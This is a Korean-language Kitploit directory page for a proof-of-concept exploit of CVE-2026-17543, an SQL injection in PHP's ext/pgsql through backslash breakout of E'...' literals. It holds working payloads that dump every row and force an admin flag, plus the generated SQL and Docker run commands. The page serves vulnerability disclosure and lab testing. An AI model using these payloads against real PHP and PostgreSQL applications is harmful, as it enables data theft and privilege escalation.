Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout — CVE-2026-17543용 PoC 익스플로잇: 백슬래시 탈출을 통한 PHP ext/pgsql의 SQL 인젝션, PostgreSQL용 데이터 유출 및 관리자 권한 상승 페이로드. | Kitploit
도구/GitHubGitHub/hunt-benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationDatabase SecurityLabs & Practice
GitHubhunt-benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout

CVE-2026-17543용 PoC 익스플로잇: 백슬래시 탈출을 통한 PHP ext/pgsql의 SQL 인젝션, PostgreSQL용 데이터 유출 및 관리자 권한 상승 페이로드.

저장소 보기
13일 전아직 검토되지 않음

CVE-2026-17543 — PHP ext/pgsql에서 E'...' 백슬래시 탈출을 통한 SQL 인젝션

CVE-2026-17543(CVSS 9.8 Critical, CWE-89)에 대한 개념 증명(PoC)으로, PHP의 절차적 PostgreSQL 확장 기능에 존재하는 SQL 인젝션 취약점입니다.

취약점 요약

pg_insert(), pg_select(), pg_update(), pg_delete() 및 pg_convert()는 모두 문자열 값을 php_pgsql_convert()로 전달하며, 이 함수는 다음과 같이 동작합니다:

  1. libpq의 PQescapeStringConn()으로 값을 이스케이프합니다. standard_conforming_strings = on(PostgreSQL 9.1 이후 기본값)에서는 '를 ''로 두 배로 만들고 \는 그대로 둡니다(표준 '...' 리터럴에서는 올바른 동작).
  2. 이스케이프된 결과를 php_pgsql_add_quotes()로 감싸 일반 '...' 대신 이스케이프 문자열 상수 E'...'로 래핑합니다.

E'...' 내부에서는 백슬래시가 이스케이프 문자이므로 따옴표 앞에 \를 두면 따옴표 두 배 만들기가 무력화됩니다. \'는 리터럴 ' 하나가 되고, 이스케이퍼가 두 배 리터럴을 만들기 위해 넣은 두 번째 따옴표는 이제 문자열을 일찍 종료시킵니다. 그 뒤의 모든 것은 원시(raw) 상태로 주입된 SQL이 됩니다.

공식 수정(커밋 ab048bd83b57)은 단 한 글자입니다. E'...' 대신 '...'를 출력하는 것입니다.

영향을 받는 버전

영향을 받지 않음: pg_query_params()(실제 매개변수 바인딩) 및 PDO_PGSQL 준비된 구문(prepared statements) / PDO::quote() — 이들은 php_pgsql_add_quotes()를 호출하지 않는 별도의 코드 경로를 사용합니다.

페이로드

root@kitploit:~
zzz\' OR 1=1 --

(작은따옴표 바로 앞에 백슬래시 하나)

  • 취약한 빌드는 ... WHERE "name"=E'zzz\'' OR 1=1 --'를 생성합니다 → OR 1=1이 SQL로 파싱되어 모든 행을 반환합니다.
  • 패치된 빌드는 ... WHERE "name"='zzz\'' OR 1=1 --'를 생성합니다 → 백슬래시가 일반 문자이므로 OR 1=1 --가 문자열 리터럴 내부에서 흡수되어 아무것도 일치하지 않습니다.

두 번째 페이로드(eve\', true) --)는 pg_insert()를 통한 권한 상승을 보여주며, admin 열을 true로 강제합니다.

파일

빠른 시작 (Docker)

root@kitploit:~
docker compose up --build --abort-on-container-exit

취약한 빌드에서의 예상 출력

root@kitploit:~
PHP version:              8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------

[1] pg_select() data exfiltration
    payload (runtime): zzz\' OR 1=1 --
    generated SQL:
      SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
    rows returned: 2
    [!] INJECTION - leaked every row in the table

[2] pg_insert() privilege escalation
    name payload (runtime): eve\', true) --
    generated SQL:
      INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
    inserted row admin flag: 't'
    [!] INJECTION - admin column forced to TRUE

Done.

패치된 빌드에서는 생성된 SQL에 E가 없는 '...'가 포함되며, [1]은 rows returned: 0 / no injection을 보고하고 [2]는 admin flag: 'f'를 보고합니다.

Docker 없이 실행하기

PGCONN이 임의의 PostgreSQL을 가리키도록 설정하고 취약한 PHP로 실행합니다:

root@kitploit:~
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php

요구 사항

  • 위 범위에 해당하는 취약한 PHP 빌드. ext/pgsql(--with-pgsql / pgsql 확장)로 컴파일되어 있어야 합니다.
  • 모든 PostgreSQL(9.1+, 즉 standard_conforming_strings = on 사용).

정리

root@kitploit:~
docker compose down -v

⚠️ 안전 주의사항

여기서 사용하는 PHP 이미지는 정의상 CVE-2026-17543에 대해 패치되지 않은 상태입니다. 격리된 일회용 컨테이너에서만 실행하고, 작업이 끝나면 docker compose down -v를 실행하세요. 이 PoC를 중요한 데이터베이스에 절대 사용하지 마세요.

참고 자료

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17543
  • GitHub Advisory GHSA-7qpv-r5mr-78m4: https://github.com/php/php-src/security/advisories/GHSA-7qpv-r5mr-78m4
  • 수정 커밋: https://github.com/php/php-src/commit/ab048bd83b578119cf81b456526d50498421d617
도구 다운로드
브랜치취약수정
PHP 8.2< 8.2.338.2.33
PHP 8.3< 8.3.338.3.33
PHP 8.4< 8.4.248.4.24
PHP 8.5< 8.5.98.5.9
파일설명
poc.phppg_select 데이터 유출 및 pg_insert 권한 상승 변형을 모두 시연하며, 생성된 SQL을 출력하여 E'...' 토큰이 보이도록 합니다
Dockerfileext/pgsql이 포함된 취약한 PHP CLI 이미지(php:8.4.23-cli)를 고정합니다
docker-compose.ymlPostgreSQL 16 + 취약한 PHP 컨테이너를 기동하고 poc.php를 실행합니다